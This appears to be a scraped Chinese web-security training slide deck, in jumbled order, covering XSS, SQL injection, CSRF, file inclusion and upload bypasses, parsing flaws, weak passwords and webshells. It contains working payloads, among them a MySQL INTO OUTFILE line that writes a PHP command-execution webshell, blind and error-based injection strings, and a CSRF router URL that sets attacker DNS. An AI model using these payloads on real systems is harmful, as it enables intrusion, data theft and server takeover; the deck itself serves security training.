WEB应用安全培训
合集下载
相关主题
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
3
4
Re:谁又发垃圾广告啦 ?
5
恶意代码 执行!
普通用户客户端
XSS跨站脚本攻击
注册用户发帖,内容如下所示
XSS跨站脚本攻击
Admin用户登录浏览刚才的帖子
非持久型跨站脚本攻击场景
攻击者
恶意代码 隐藏在链 接中
2 3
Web服务器
1 1 4
ቤተ መጻሕፍቲ ባይዱ
“reflected” 代码 恶意代码
正常访问
From: 攻击者 To: 用户 免费赠送Q币! !! CLICK HERE Outlook
XSS跨站脚本攻击
XSS的危害
• 通过XSS执行的javascript,可以做到… – 窃取你正在浏览的cookies信息 – 篡改你正在浏览的页面,注入误导信息 – 捕获你的所有操作,并发送给黑客 – 从定向到黑客的钓鱼站点 – 利用浏览器的漏洞控制你的机器 – …
持久型跨站脚本攻击场景
攻击者
易受攻击的代码片段: <?php if ($pass == "hello") { $auth = 1; } Parse_str($_SERVER['QUERY_STRING'] ); if ($auth == 1) { echo "some important information"; } ?>
上面的代码首先检查用户的密码是否为"hello",如果匹配的话,设置 "$auth" 为"1",即通过认证。之后如果"$suth"为"1"的话,就会显示一些重要信息。 这段代码假定"$auth"在没有设置值的时候是空的,但是攻击者可以创建任何 全局变量并赋值,通过类似"/test.php?auth=1"的 方法,我 们完全可以欺骗这段代码,使它相信我们是已经认证过的。
常见WEB后门介绍
PHP后门木马常用函数
执行系统命令: system(), passthru(), shell_exec(), exec(), popen(), proc_open() 代码执行与加密: eval(), assert(), call_user_func(),base64_decode(), gzinflate(), gzuncompress(), gzdecode(), str_rot13() 文件包含与生成: require(), require_once(), include(), include_once(), file_get_contents(), file_put_contents(), fputs(), fwrite()
SQL注入
• 漏洞介绍 由于程序中对用户输入检查不严格,用户可以提 交一段数据库查询代码,根据程序返回的结果, 获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
• 原因分析
其本质是由于对输入检查不充分,导致SQL语句 将用户提交的非法数据当作语句的一部分来执行 。
SQL注入
SQL注入分类:
• 按提交字符类型可分为: 数字型 字符型 搜索型 • 按HTTP提交方式可分为: GET、POST 、Cookie • 按注入方式可分为: 盲注 、 union注 入、 报错注入、 基于时间注入 • 编码问题:宽字节注入
SQL注入
如何判断?
1.单引号判断 2.数字型注入判断 ①and 1=1 and 1=2 and 1 is null and 1 is not null and user>0 ②参数进行运算 +1 -1 '+'→'%2B' 3.字符型注入判断 ①' and '1'='1 ' and '1'='2 4.搜索型注入判断 ①test%' and 1=1 and '%'=' test%' and 1=2 and '%'='
验证不充分之文件包含
易受攻击的代码片断:
<?php $content = $_GET['content']; include($content); ?>
攻击者用如下请求可以包含图片木马: /test.php?content=x.jpg
验证不充分之任意文件读取
验证不充分之变量覆盖
Fckeditor/ewebeditor/kindeditor
• 遍历目录 • 上传漏洞 构造相应语句
弱口令
什么是弱口令?
• 弱口令(weak password) 没有严格和准确的定义 ,通常认为容易被别人(他们有可能对你很了解 )猜测到或被破解工具破解的口令均为弱口令。 • 弱口令指的是仅包含简单数字和字母的口令,例 如“123”、“abc”等,因为这样的口令很容易被 别人破解,从而使用户的计算机面临风险,因此 不推荐用户使用。
Access and (select top 1 asc(mid(id,1,1)) from admin)>0 MSSQL and (select top 1 ascii(substring(password,1,1)) from admin)>0 Mysql And(select ascii(substr(pass,1,1))from admin limit 1)>0 oracle And(select ascii(substr(pass,1,1))form admin where rownum=1)>0
第三方漏洞
①FCKeditor 编辑器上传漏洞,任意创建文件漏洞 ②eWebEeditor编辑器,上传漏洞,遍历目录漏洞 ③ThinkPHP任意代码执行漏洞 ④Struts2远程命令执行漏洞 ⑤Web中间件(Tomcat、Weblogic、Jboss)
Struts2远程命令执行
tomcat
JBoss
弱口令
TOMCAT弱口令直接上传WEBSHELL
弱口令
针对弱口令的爆破 Burpsuite、Hydra等
常见WEB后门介绍
什么是WEBSHELL?
顾名思义,“web”的含义是显然需要服务器开放web服务 “shell”的含义是取得对服务器某种程度上操作权限。 webshell 常常被称为匿名用户(入侵者)通过网站端口对网站服务器 的某种程度上操作的权限。由于webshell其大多是以动态脚 本 的形式出现,也有人称之为网站的后门工具。
逻辑漏洞
不同的用户错误 判断出存在admin用户
逻辑漏洞
找回密码设计缺陷 修改任意用户密码
解析漏洞
IIS 6.0解析漏洞 ①目录解析 /test.asp/test.jpg ②文件解析 /test.asp;1.jpg IIS6.0 默认的可执行文件除了asp还包含这三种 ①/test.asa ②/test.cer ③/test.cdx
SQL注入
搜索型注入
Select 相应字段 from [表名] where 搜索条件 Like ' 科技%' and 1=1 and '%'='%'
[搜索关键字]%' and [payload] and '%'='
SQL注入
自动化工具 SQLMAP
SQL注入
自动化工具 Havij
SQL注入
自动化工具 Pangolin
SQL注入-相关表
Sysobjects, syscolumns
Information_schema. TABLES [Table_schema][table_name] Information_schema. COLUMNS
user_tab_columns user_tables
SQL注入-盲注
跨站请求伪造(CSRF)场景
攻击者:小明 受害人:老王 银行网站: 恶意网站:
1.A银行转账链接: /Transfer.php?toBankId=6 66&money=1000
2./index.html <img src=/Transfer.php?toBank Id=777&money=1000>
XSS跨站脚本攻击
• 漏洞介绍 恶意攻击者往Web页面里插入恶意html代码, 当用户浏览该页之时,嵌入其中Web里面的html 代码会被执行,从而达到恶意攻击用户的特殊 目的。 • XSS本质是在于执行脚本[javascript/html等] 攻击者的js能力越强攻击效果越惊人! • XSS漏洞分类:①反射型XSS ②存储型XSS
验证不充分之上传漏洞
• 客户端检测(javascript扩展名检测) 浏览器禁用JavaScript • 服务端检测(MIME类型检测) 伪造Content-type: image/gif • 服务端检测(文件头检测) 伪造文件头(GIF89a) • 服务端检测(目录路径检测) %00截断 • 服务端检测(文件扩展名检测) ①白名单 ②黑名单
CSRF跨站请求伪造 针对路由器的攻击
http://admin:admin@192.168.1.1/userRpm/LanDhcp ServerRp m.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192. 168.1.199& Lease=120&gateway=0.0.0.0&domain=&dnsserver= &dnsserve r=54.248.102.5&dnsserver2=8.8.8.8&Save=%25B1% 25A3+%2 5B4%25E6
SQL注入-报错
and (select top 1 name from sysobjects)=1
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
解析漏洞
Apache解析漏洞 Apache 是从右到左开始判断解析,如果为 不 可识别解析,就再往左判断。 /test.php.xxx /test.php.rar
解析漏洞
Nginx解析漏洞 影响版本:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
/test.jpg/1.php /test.jpg%00.php
WEB应用安全培训
常见WEB漏洞 常见WEB后门介绍
常见的Web漏洞
漏洞名称 SQL注入 跨站脚本攻击漏洞 Cookie欺骗 CSRF(跨站请求伪造) 漏洞等级 高危 高危 高危 中危
Web信息泄露
权限问题 逻辑漏洞 第三方程序漏洞 Web服务器解析漏洞 弱口令 SSRF
中危
中危 中危 高危 高危 高危 中危
5
普通合法会话 恶意代码 执行! 安全上下文: 目标站点 浏览器 安全上下文: 目标站点 浏览器
普通用户客户端
XSS跨站脚本攻击
反射型XSS
XSS跨站脚本攻击
XSS攻击平台
CSRF跨站请求伪造
CSRF是什么?
CSRF(Cross-site request forgery)跨站请求伪造 。
你这可以这么理解CSRF攻击:攻击者盗用了你的身 份,以你的名义发送恶意请求。CSRF能够做的事情包 括:以你名义发送邮件,发消息,盗取你的账号,甚至 于购买商品,虚拟货币转账......造成的问题包括:个人 隐私泄露以及财产安全。
||utl_inaddr.get_host_name((select banner from v$version where rownum=1))–
SQL注入
MySQL写文件 /test.php?id=6 and 1=2 union select 1,2,'<?php system($_REQUEST[cmd]);?>',4,5,6 into outfile ' C:/apache/htdocs/site/shell.php‘ Load_file(读取文件的路径)
Cookie欺骗
• Cookie • 用于身份验证 • 本地可控
Cookie欺骗示意图
客户端
服务器
输入用户名密 码认证 当认证成功, 给一个Cookie 存储在客户端
通过用户名密码认 证后将用户信息存 储在Cookie里.
以Cookie做为 认证手段
认证成功
但是在做Cookie认 证的时候,只读取 了Cookie里面的用 户名信息.
2
Web服务器
在论坛发帖子: 免费获取Q币!!! <script>恶意代码 </script>
1
重要通知 Re:沙发!! Re:地板? Re:地下室沙发…… Re: 地下室地板 Re :免费获取Q-_-!! 币!!!
内容: <script>恶意代码 </script>
1. 正常服务器信息 2. 服务器存储恶意代码 3. 用户浏览网页 4. 服务器将恶意代码返回给用户 5. 客户端浏览器执行恶意代码